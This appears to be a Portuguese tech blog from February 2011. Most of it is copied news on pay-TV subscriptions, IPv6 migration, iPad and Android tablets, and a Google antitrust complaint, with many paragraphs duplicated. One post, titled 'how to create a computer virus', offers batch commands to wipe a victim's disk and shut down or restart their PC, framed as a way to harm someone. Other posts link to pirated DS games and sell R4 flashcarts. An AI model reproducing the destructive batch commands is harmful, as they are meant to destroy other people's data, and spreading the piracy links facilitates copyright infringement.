No final de Dezembro existiam em Portugal 2,77 milhões de utilizadores de serviços de televisão por subscrição, para um total de 4,06 milhões de alojamentos cablados (preparados para receber este tipo de serviços).
O número representa um crescimento de 246 mil face ao mesmo período do ano passado e de 58 mil face ao terceiro trimestre e foi sobretudo impulsionado pelo crescimento das subscrições de ofertas suportadas em novas tecnologias, como a fibra.
Noventa e sete por cento dos novos clientes do serviço no período em análise, de acordo com os dados da Anacom, tiram partido de ligações de fibra (FTTH/B - Fiber to The Home / Building) ou de tecnologias como xDSL e FWA, com especial destaque para a primeira. Assim, a fibra passou a chegar a 5,2 por cento dos clientes de TV por subscrição e a categoria "outras tecnologias" a 18,8 por cento.
A fibra óptica, que está a centrar a aposta de alguns operadores (Vodafone, Optimus e PTC, conforme enumerado pelo regulador na sua nota de imprensa), chegava no final do ano a 143 mil utilizadores de serviços de TV paga, sendo que Lisboa e Porto concentram 87 por cento dos assinantes destas ofertas. O xDSL e o FWA somavam 523 mil assinantes, mais 26 mil que no trimestre anterior.
Os dados também revelam que o cabo absorvia no final de Dezembro de 2010 51,8 por cento dos assinantes, continuando a predominar nas regiões de Lisboa, madeira, Norte e Algarve de TV paga e o satélite 24,2 por cento, sendo a opção dominante nas zonas centro e do Alentejo. A Zon continua também a controlar o mercado de TV por subscrição, com uma quota de 57,9 por cento. A Portugal Telecom assegura o segundo lugar da tabela com uma quota de 29,9 por cento.
A Anacom divulgou já também dados do último trimestre para o acesso à Internet e para a utilização de redes de nova geração.
in sapo
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quinta-feira, 24 de fevereiro de 2011
quarta-feira, 23 de fevereiro de 2011
Trabalhadores chineses intoxicados ao produzirem iPhones
Há vários casos de trabalhadores chineses intoxicados durante a produção de visores touch screen para telemóveis, incluindo iPhone. Os funcionários escreveram já para a Apple a pedir ajuda nos tratamentos, avança a BBC.No total, 137 funcionários de uma fábrica em Taiwan ficaram com problemas de saúde, como tonturas, cansaço, suor nas mãos e pés, inchaços e dores, após serem expostos à substância química n-hexano usada na produção de visores sensíveis ao toque.
Cinco destes trabalhadores decidiram escrever uma carta endereçada ao presidente da Apple, Steve Jobs, pedindo ajuda.
Segundo os funcionários, a fábrica onde trabalham não ofereceu indemnizações adequadas e pressionou aqueles que receberam o pagamento a pedir a demissão. Além disso, os trabalhadores alegam que não houve garantias de que funcionários que fiquem doentes a partir de agora vão receber o reembolso dos gastos com médicos e hospitais.
A não comentou a carta e a Wintek, empresa de Taiwan responsável pela fábrica, diz que passou a usar n-hexano em vez de álcool porque a substância evaporava mais rapidamente e aumentava a velocidade de produção, tendo regressado agora ao álcool.
in SOL
Cinco destes trabalhadores decidiram escrever uma carta endereçada ao presidente da Apple, Steve Jobs, pedindo ajuda.
Segundo os funcionários, a fábrica onde trabalham não ofereceu indemnizações adequadas e pressionou aqueles que receberam o pagamento a pedir a demissão. Além disso, os trabalhadores alegam que não houve garantias de que funcionários que fiquem doentes a partir de agora vão receber o reembolso dos gastos com médicos e hospitais.
A não comentou a carta e a Wintek, empresa de Taiwan responsável pela fábrica, diz que passou a usar n-hexano em vez de álcool porque a substância evaporava mais rapidamente e aumentava a velocidade de produção, tendo regressado agora ao álcool.
in SOL
Operadores portugueses preparam redes para IPv6
O princípio do fim do protocolo IPv4 já começou com a atribuição dos últimos pacotes de endereços por parte da IANA, como o TeK escreveu no início deste mês, mas como este protocolo ainda vai coexistir durante muitos anos com o novo IPv6 os preparativos da indústria fazem-se com calma, sobretudo do lado dos equipamentos e das redes de comunicações.
Em Portugal os operadores de redes fixas e móveis já estão a trabalhar na compatibilidade das redes para o IPv6 e têm definidos calendários de implementação, sobretudo a nível do core das redes, a infra-estrutura. As redes de acesso ficam para uma segunda fase, assim como a actualização dos equipamentos instalados nos clientes, de routers a telemóveis e placas de banda larga.
A falta de uma pressão do mercado justifica este faseamento, até porque existe ainda muito pouca sensibilidade face à necessidade de actualizar equipamentos e redes de acesso, quer da parte dos consumidores quer das empresas.
A Portugal Telecom é uma das operadoras que está mais avançada no processo de migração da rede core, num processo iniciado em 2008, tendo já começado a colocar capacidade de encaminhamento dual stack (às duas versões do protocolo IP) nas infra-estruturas de backbone, da rede fixa e da rede móvel, bem como no acesso internacional, adiantou ao TeK fonte da empresa. O roll out total deverá estar terminado em 2012.
Do ponto de vista estratégico a empresa optou por dotar as redes de capacidade de suporte dual stack, "garantindo uma evolução progressiva e com impacto mínimo do lado dos clientes", mas a implementação exige "uma actuação interna muito coordenada", refere a mesma fonte.
O passo seguinte é estender a estratégia implementada no backbone da rede fixa às redes de acesso, cobrindo os diferentes segmentos de negócio. De fora fica a rede óptica, já que "esta é agnóstica à versão do protocolo IP e transporta qualquer das duas versões", havendo apenas que "assegurar a compatibilidade ao nível dos sistemas de gestão".
Quanto à rede móvel da TMN, a PT afirma que esta já suporta parcialmente o IPv6, mas que no âmbito do upgrade do novo core, que está em curso e será concluído ainda este ano, "será assegurado que todas as funcionalidades actualmente suportadas para IPv4, estarão igualmente disponíveis em IPv6".
Também a Vodafone está já adiantada na preparação da sua rede de ADSL e fibra, onde "existem protótipos a funcionar em ambiente de laboratório", como explicou ao TeK José Rivera, responsável pela área de engenharia de core e transporte da Vodafone Portugal.
"A Vodafone Portugal encontra-se activamente empenhada, em conjunto com os seus fornecedores, em resolver as questões de interoperabilidade que ainda subsistem em alguns casos", adianta. Por isso mesmo a empresa admite que o upgrade para a nova versão do protocolo IP ocorrerá "logo que as versões de software e hardware apresentem a estabilidade mínima, de acordo com os standards definidos pela Vodafone, de modo a que possam ser colocadas em produção".
Para os operadores de redes de cabo a tarefa está um pouco mais simplificada, até porque o DOCSIS 3.0 já suporta nativamente o protocolo IPv6, o que facilita o processo.
A Zon não tem ainda datas para uma migração a 100% da rede, que de qualquer forma não se apresenta como uma necessidade por não existir nenhum desenvolvimento relevante, já que o número de sites e serviços que suporta este protocolo ser ainda muito reduzido, adianta fonte oficial da operadora.
A empresa está a fazer um levantamento do impacto do novo protocolo a nível das várias plataformas, desde o core (Routers, CMTS, OLT, etc), até aos equipamentos terminais.
"Durante os próximos trimestres serão realizados vários pilotos e testes de IPv6 numa perspectiva end-to-end, permitindo assim efectuar uma migração suave para o novo protocolo", refere a mesma fonte.
A Cabovisão já iniciou, há cerca de 1 ano, as actividades relacionadas com a análise e definição de um plano de migração para IPv6, na rede core e nos dispositivos instalados nos clientes, confirma o Director de Grupo Tecnologia e Sistemas de Informaçäo da operadora, Alexandre Fonseca.
"Até ao momento apenas foram realizados testes em ambiente de Laboratório, explorando e testando equipamentos e metodologias de abordagem ao endereçamento IPv6", pelo que, não sendo ainda uma rede IPv6, está "estruturalmente preparada para suportar esse endereçamento e os desafios que o novo protocolo IP irá trazer", sublinha.
O plano de roll out teve início em 2010 e decorre a bom ritmo, devendo o upgrade total da rede e dos diversos componentes estar concluído em 2012/2013. Este ano está previsto que alguns componentes da infra-estrutura sejam suportados em IPv6, devendo ser realizados também pilotos ao nível da rede core.
Com infra-estruturas assentes em tecnologia diferente, a Zapp e a Ar Telecom estão também atentas a estas mudanças e a preparar as suas redes. Jorge Domingos, Technical infrastructures manager da Zapp adiantou ao TeK que "a rede da Zapp está preparada para correr IPv6 na parte de Core", admitindo porém que poderá ser necessário um upgrade de software aos sistemas da Zapp, para garantir a compatibilidade total de alguns sistemas mais antigos, mas que não terá impacto para os clientes.
A nível das configurações a migração ainda não começou, mas o road-map definido calendariza a execução "a médio prazo", explica Jorge Domingos, sem precisar datas.
A percepção de que a flexibilidade tecnológica é determinante para a competitividade fez com que a Ar Telecom já tenha preparado a sua rede para IPv6, incluindo blocos de endereçamento IPv6 alocados pelo RIPE. "Já foram realizados testes com clientes amigáveis e estamos prontos para disponibilizar serviços em IPv6", garante Tiago Oliveira Santos, Director de Marketing e Projectos Especiais.
Ninguém avança valores de custos de upgrade nas redes core nem nas redes de acesso, adiantando a maioria dos operadores contactados pelo TeK que está a ser feito no âmbito das actualizações planeadas da rede, o que não permite perceber os impactos reais desta mudança. Mas a garantia é que quando se passar para a segunda fase, de alteração dos equipamentos dos clientes, as contas vão mudar.
Como já tínhamos referido, a disponibilização de equipamentos do lado dos clientes é lenta, sobretudo por atrasos do lado dos fabricantes de telemóveis e routers, assim como placas de acesso à Internet em banda larga móvel, e em alguns casos não bastará actualizar as versões do software, sendo necessária a mudança do hardware. Mas este é um tema que abordaremos num próximo artigo.
in sapo
Em Portugal os operadores de redes fixas e móveis já estão a trabalhar na compatibilidade das redes para o IPv6 e têm definidos calendários de implementação, sobretudo a nível do core das redes, a infra-estrutura. As redes de acesso ficam para uma segunda fase, assim como a actualização dos equipamentos instalados nos clientes, de routers a telemóveis e placas de banda larga.
A falta de uma pressão do mercado justifica este faseamento, até porque existe ainda muito pouca sensibilidade face à necessidade de actualizar equipamentos e redes de acesso, quer da parte dos consumidores quer das empresas.
A Portugal Telecom é uma das operadoras que está mais avançada no processo de migração da rede core, num processo iniciado em 2008, tendo já começado a colocar capacidade de encaminhamento dual stack (às duas versões do protocolo IP) nas infra-estruturas de backbone, da rede fixa e da rede móvel, bem como no acesso internacional, adiantou ao TeK fonte da empresa. O roll out total deverá estar terminado em 2012.
Do ponto de vista estratégico a empresa optou por dotar as redes de capacidade de suporte dual stack, "garantindo uma evolução progressiva e com impacto mínimo do lado dos clientes", mas a implementação exige "uma actuação interna muito coordenada", refere a mesma fonte.
O passo seguinte é estender a estratégia implementada no backbone da rede fixa às redes de acesso, cobrindo os diferentes segmentos de negócio. De fora fica a rede óptica, já que "esta é agnóstica à versão do protocolo IP e transporta qualquer das duas versões", havendo apenas que "assegurar a compatibilidade ao nível dos sistemas de gestão".
Quanto à rede móvel da TMN, a PT afirma que esta já suporta parcialmente o IPv6, mas que no âmbito do upgrade do novo core, que está em curso e será concluído ainda este ano, "será assegurado que todas as funcionalidades actualmente suportadas para IPv4, estarão igualmente disponíveis em IPv6".
Também a Vodafone está já adiantada na preparação da sua rede de ADSL e fibra, onde "existem protótipos a funcionar em ambiente de laboratório", como explicou ao TeK José Rivera, responsável pela área de engenharia de core e transporte da Vodafone Portugal.
"A Vodafone Portugal encontra-se activamente empenhada, em conjunto com os seus fornecedores, em resolver as questões de interoperabilidade que ainda subsistem em alguns casos", adianta. Por isso mesmo a empresa admite que o upgrade para a nova versão do protocolo IP ocorrerá "logo que as versões de software e hardware apresentem a estabilidade mínima, de acordo com os standards definidos pela Vodafone, de modo a que possam ser colocadas em produção".
Para os operadores de redes de cabo a tarefa está um pouco mais simplificada, até porque o DOCSIS 3.0 já suporta nativamente o protocolo IPv6, o que facilita o processo.
A Zon não tem ainda datas para uma migração a 100% da rede, que de qualquer forma não se apresenta como uma necessidade por não existir nenhum desenvolvimento relevante, já que o número de sites e serviços que suporta este protocolo ser ainda muito reduzido, adianta fonte oficial da operadora.
A empresa está a fazer um levantamento do impacto do novo protocolo a nível das várias plataformas, desde o core (Routers, CMTS, OLT, etc), até aos equipamentos terminais.
"Durante os próximos trimestres serão realizados vários pilotos e testes de IPv6 numa perspectiva end-to-end, permitindo assim efectuar uma migração suave para o novo protocolo", refere a mesma fonte.
A Cabovisão já iniciou, há cerca de 1 ano, as actividades relacionadas com a análise e definição de um plano de migração para IPv6, na rede core e nos dispositivos instalados nos clientes, confirma o Director de Grupo Tecnologia e Sistemas de Informaçäo da operadora, Alexandre Fonseca.
"Até ao momento apenas foram realizados testes em ambiente de Laboratório, explorando e testando equipamentos e metodologias de abordagem ao endereçamento IPv6", pelo que, não sendo ainda uma rede IPv6, está "estruturalmente preparada para suportar esse endereçamento e os desafios que o novo protocolo IP irá trazer", sublinha.
O plano de roll out teve início em 2010 e decorre a bom ritmo, devendo o upgrade total da rede e dos diversos componentes estar concluído em 2012/2013. Este ano está previsto que alguns componentes da infra-estrutura sejam suportados em IPv6, devendo ser realizados também pilotos ao nível da rede core.
Com infra-estruturas assentes em tecnologia diferente, a Zapp e a Ar Telecom estão também atentas a estas mudanças e a preparar as suas redes. Jorge Domingos, Technical infrastructures manager da Zapp adiantou ao TeK que "a rede da Zapp está preparada para correr IPv6 na parte de Core", admitindo porém que poderá ser necessário um upgrade de software aos sistemas da Zapp, para garantir a compatibilidade total de alguns sistemas mais antigos, mas que não terá impacto para os clientes.
A nível das configurações a migração ainda não começou, mas o road-map definido calendariza a execução "a médio prazo", explica Jorge Domingos, sem precisar datas.
A percepção de que a flexibilidade tecnológica é determinante para a competitividade fez com que a Ar Telecom já tenha preparado a sua rede para IPv6, incluindo blocos de endereçamento IPv6 alocados pelo RIPE. "Já foram realizados testes com clientes amigáveis e estamos prontos para disponibilizar serviços em IPv6", garante Tiago Oliveira Santos, Director de Marketing e Projectos Especiais.
Ninguém avança valores de custos de upgrade nas redes core nem nas redes de acesso, adiantando a maioria dos operadores contactados pelo TeK que está a ser feito no âmbito das actualizações planeadas da rede, o que não permite perceber os impactos reais desta mudança. Mas a garantia é que quando se passar para a segunda fase, de alteração dos equipamentos dos clientes, as contas vão mudar.
Como já tínhamos referido, a disponibilização de equipamentos do lado dos clientes é lenta, sobretudo por atrasos do lado dos fabricantes de telemóveis e routers, assim como placas de acesso à Internet em banda larga móvel, e em alguns casos não bastará actualizar as versões do software, sendo necessária a mudança do hardware. Mas este é um tema que abordaremos num próximo artigo.
in sapo
terça-feira, 22 de fevereiro de 2011
Lançamento do novo iPad atrasado
A próxima versão do iPad deverá ser lançada em Junho e não em Abril, como inicialmente previsto. O adiamento deve-se a atrasos na produção do novo tabletA informação está a ser avançada pela agência financeira Yuanta Securities, originária de Taiwan, que refere que a fábrica onde o iPad 2 está a ser produzido está a ter algumas dificuldades no processo de fabrico, devido ao novo design do tablet da Apple.
De acordo com documentos da Yuanta Securities citados pela agência Reuters, o problema está relacionado com alterações ao design do dispositivo, apresentadas pela empresa de Steve Jobs no início deste mês.
Estas alterações provocaram uma alteração nos processos de produção e consequentemente atrasaram o lançamento do novo iPad.
Com este atraso o lançamento do novo modelo do tablet da Apple passou a estar previsto para Junho e não para Abril, como esperado por vários analistas.
in sol
De acordo com documentos da Yuanta Securities citados pela agência Reuters, o problema está relacionado com alterações ao design do dispositivo, apresentadas pela empresa de Steve Jobs no início deste mês.
Estas alterações provocaram uma alteração nos processos de produção e consequentemente atrasaram o lançamento do novo iPad.
Com este atraso o lançamento do novo modelo do tablet da Apple passou a estar previsto para Junho e não para Abril, como esperado por vários analistas.
in sol
1º Tablet Android 3.0 é colocado à venda esta semana
A operadora norte-americana Verizon anunciou que vai começar a vender na próxima quinta-feira, 24 de Fevereiro, aquele que será o primeiro tablet PC a chegar às lojas com o Android 3.0 (Honeycomb), uma versão do sistema operativo móvel da Google optimizada para este tipo de dispositivos.
O modelo em questão é, como esperado, o Motorola Xoom, um tablet com um ecrã HD de 10,1 polegadas (16:10), um processador dual-core de 1GHz, uma câmara de 5 megapixéis na retaguarda e outra de 2 megapixéis na parte da frente, para videochamadas.
Chega com ligação 3G, mas com a garantia da actualização gratuita para as redes 4G LTE, prevista para o segundo semestre do ano. Garantido ficou também o suporte ao Flash, que deve chegar algumas semanas após o lançamento do equipamento, como o TeK já escreveu.
Depois de muita antecipação, foram hoje finalmente confirmados detalhes como o preço do Xoom, que será comercializado pela operadora a 599,99 dólares (440 euros), se acompanhado de um contrato de fidelização de dois anos, ou 799,99 dólares (586 euros), sem contrato.
O tablet, que gerou entusiasmo durante a sua apresentação no Mobile World Congress, é apontado por muitos como um forte concorrente ao iPad, tanto pelas novidades do sistema operativo como pelas características ao nível do hardware. Deixamos-vos com algumas imagens do dispositivo e a ligação para o site da Verizon onde é disponibilizado um vídeo de apresentação.

in sapo
O modelo em questão é, como esperado, o Motorola Xoom, um tablet com um ecrã HD de 10,1 polegadas (16:10), um processador dual-core de 1GHz, uma câmara de 5 megapixéis na retaguarda e outra de 2 megapixéis na parte da frente, para videochamadas.
Chega com ligação 3G, mas com a garantia da actualização gratuita para as redes 4G LTE, prevista para o segundo semestre do ano. Garantido ficou também o suporte ao Flash, que deve chegar algumas semanas após o lançamento do equipamento, como o TeK já escreveu.
Depois de muita antecipação, foram hoje finalmente confirmados detalhes como o preço do Xoom, que será comercializado pela operadora a 599,99 dólares (440 euros), se acompanhado de um contrato de fidelização de dois anos, ou 799,99 dólares (586 euros), sem contrato.
O tablet, que gerou entusiasmo durante a sua apresentação no Mobile World Congress, é apontado por muitos como um forte concorrente ao iPad, tanto pelas novidades do sistema operativo como pelas características ao nível do hardware. Deixamos-vos com algumas imagens do dispositivo e a ligação para o site da Verizon onde é disponibilizado um vídeo de apresentação.
in sapo
Google volta a ser investigada na Europa
A Google tem uma nova queixa de abuso de posiçao dominante na Comissão Europeia. A acusação volta a ser feita pela francesa 1PlusV que diz ter "novas evidências" de concorrência desleal por parte da número um das buscas.
A empresa norte-americana está a ser investigada por Bruxelas desde Novembro do ano passado, altura em que foi acusada por vários fornecedores de serviços rivais - entre eles o motor de busca francês Ejustice.fr, pertencente à 1PlusV, e a Microsoft, através do serviço Ciao do Bing - de penalizar os seus rivais nas buscas online, tanto gratuitas como patrocinadas.
A acusação agora apresentada é bastante semelhante à de 2010. A 1plusV alega que, por repetidas vezes, a empresa de Eric Schmidt não listou as páginas do Ejustice.fr no seu motor de busca, entre 2007 e 2009, além de afirmar que tem provas de uma série de novos e antigos casos de "abuso".
A nova denúncia foi apresentada alguns dias depois de ter terminado o prazo de resposta ao pedido de informação feito pelo Executivo europeu a operadores de motores de busca, gestores de sites, agências de publicidade e outra empresas, no âmbito do processo, sobre as práticas de negócio da Google.
No inquérito enviado às empresas - um procedimento habitual nas investigações por práticas concorrenciais - estavam perguntas como "Constatou uma diminuição repentina no número de internautas reenviados para os vossos serviços pelo Google e que não possa ser explicada por mudanças no vosso site?" e "Tem conhecimento de módulos nos algoritmos da Google que tenham podido penalizar a classificação das páginas do vosso sítio web?", entre outras.
Devido ao elevado volume de informações, a Comissão prevê que demorará alguns meses até chegar a uma conclusão final e reitera que, por enquanto, esta é apenas uma investigação para determinar se as regras de concorrência foram quebradas ou não.
in Sapo
A empresa norte-americana está a ser investigada por Bruxelas desde Novembro do ano passado, altura em que foi acusada por vários fornecedores de serviços rivais - entre eles o motor de busca francês Ejustice.fr, pertencente à 1PlusV, e a Microsoft, através do serviço Ciao do Bing - de penalizar os seus rivais nas buscas online, tanto gratuitas como patrocinadas.
A acusação agora apresentada é bastante semelhante à de 2010. A 1plusV alega que, por repetidas vezes, a empresa de Eric Schmidt não listou as páginas do Ejustice.fr no seu motor de busca, entre 2007 e 2009, além de afirmar que tem provas de uma série de novos e antigos casos de "abuso".
A nova denúncia foi apresentada alguns dias depois de ter terminado o prazo de resposta ao pedido de informação feito pelo Executivo europeu a operadores de motores de busca, gestores de sites, agências de publicidade e outra empresas, no âmbito do processo, sobre as práticas de negócio da Google.
No inquérito enviado às empresas - um procedimento habitual nas investigações por práticas concorrenciais - estavam perguntas como "Constatou uma diminuição repentina no número de internautas reenviados para os vossos serviços pelo Google e que não possa ser explicada por mudanças no vosso site?" e "Tem conhecimento de módulos nos algoritmos da Google que tenham podido penalizar a classificação das páginas do vosso sítio web?", entre outras.
Devido ao elevado volume de informações, a Comissão prevê que demorará alguns meses até chegar a uma conclusão final e reitera que, por enquanto, esta é apenas uma investigação para determinar se as regras de concorrência foram quebradas ou não.
in Sapo
segunda-feira, 21 de fevereiro de 2011
Pokemon Heart Gold e Soul Silver
Estes são os melhores jogos pokémon
Enjoy!
http://www.easy-share.com/1912512697/Pokemon_HeartGold.rar
quinta-feira, 17 de fevereiro de 2011
Google lança serviço de venda online de jornais e artigos em sete países
A Google lançou em sete países um serviço de venda online para editores de imprensa, que dispõem de uma plataforma na Internet, onde podem vender assinaturas ou artigos individuais.
O serviço One Pass foi lançado nos Estados Unidos, Espanha, França, Reino Unido, Canadá, Itália e Alemanha, afirmou Philippe Colombet, diretor da Google Actualités, da Google França.
"O One Pass não é um site ou uma aplicação operada pela Google, é uma plataforma destinada a editores para que possam, a partir do seu próprio site ou das suas aplicações, vender de forma muito simples uma assinatura ou o acesso a uma artigo", explicou o responsável.
O serviço "é um passo no desenvolvimento da informação paga, é uma plataforma tecnológica para facilitar os micropagamentos tanto para o editor como para o cibernauta", defendeu Colombet.
"O interesse para o cibernauta é que pode, a partir de todo o tipo de equipamento - via Internet ou via telemóvel -, pagar de forma simples e fluida pelos artigos ou pelas assinaturas e passar de um título para outro", acrescentou.
segunda-feira, 14 de fevereiro de 2011
domingo, 13 de fevereiro de 2011
Animal Crossing
Mais um jogo da Franquia Animal Crossing de DS, com várias novidades e um universo completamente novo a ser explorado.
link:
http://www.megaupload.com/?d=D1OZKFCI
Como criar um vírus informático
muitos de vocês já devem ter pensado"Tenho que criar um virus para tramar uma pessoa mas não sei como faze-lo"!
Não desesperem, eu tenho a solução!
Por apenas um bloco de notas, um Sistema operacional e um teclado podem fazer isso.
abaixo deixo alguns:
1º
@ECHO OFF
@BREAK OFF
deltree/C: Y\*.*
Função:lixa o PC todo
2º
shutdown -s
Função:Desliga o pc
Não desesperem, eu tenho a solução!
Por apenas um bloco de notas, um Sistema operacional e um teclado podem fazer isso.
abaixo deixo alguns:
1º
@ECHO OFF
@BREAK OFF
deltree/C: Y\*.*
Função:lixa o PC todo
2º
shutdown -s
Função:Desliga o pc
3º
shutdown -r
Função:Reinicia o pc
Função:Reinicia o pc
escrevem isso no bloco de notas com a extenção de ficheiro .bat e pronto.
PS:O conhcimento não é crime. Não me responsabilizo pelo uso mal intencionado da informação
Vem aí a versão 2.0 do iPad da Apple
Apple já vendeu 14,8 milhões de unidades.
Mais fino, com um processador gráfico mais eficiente, mais memória e com câmara frontal. Estas são algumas das novidades que vão fazer parte do novo iPad. De acordo com o ‘Wall Street Journal', que cita fonte próxima do projecto, a nova versão do ‘tablet' da Apple já está em produção.
A expectativa é que a segunda versão do iPad seja lançada nos próximos meses sem qualquer alteração de preço. Actualmente, o ‘tablet' da Apple custa em Portugal entre 499 euros (para a versão ‘wi-fi' de 16GB) e 799 euros (na versão 3G de 64GB).
No início, o novo iPad será vendido apenas pelas operadoras americanas Verizon Wireless e AT&T Inc. Fonte oficial da Apple não quis comentar este rumor. Desde que o iPad foi lançado, em Abril de 2010, já se venderam 14,8 milhões de unidades em todo o mundo. Segundo os últimos números da empresa, divulgados em Dezembro de 2010, o dispositivo rendeu cerca de 4,6 mil milhões de dólares (3,3 mil milhões de euros), o equivalente a 17% de tudo que a Apple facturou em 2010. A Piper Jaffray & Co prevê que a Apple venda 27 milhões de iPads em 2011, mas alguns investidores acreditam que as vendas atinjam os 35 milhões de unidades.
A notícia sobre o novo produto chega ao mercado dias depois de Steve Jobs, presidente da Apple, se afastar do cargo por motivos de saúde.
O mercado dos ‘tablets' tornou-se mais competitivo depois da chegada do iPad. Desde então, já foram muitos os fabricantes que apresentaram os seus equipamentos. O Samsung Galaxy é, talvez, o maior concorrente ao iPad.
- A actual versão do iPad tem um ecrã de 9,7 polegadas, 12 mm de espessura e pesa 680 gramas.
- Sistema operativo é semelhante ao do iPhone. A autonomia em modo reprodução de vídeo é de dez horas e em modo ‘stand by' pode durar até um mês.
- O ‘tablet' irá manter os preços, que oscilam actualmente entre 499 euros e 799 euros.
in Económico
R4
Quem quiser um R4/R4i contacte:
carlosalbertofreitas940@gmail.com
O R4 é um adaptador onde se insere um cartão micro SD com os jogos baixados da internet e joga-se na DS.
carlosalbertofreitas940@gmail.com
O R4 é um adaptador onde se insere um cartão micro SD com os jogos baixados da internet e joga-se na DS.
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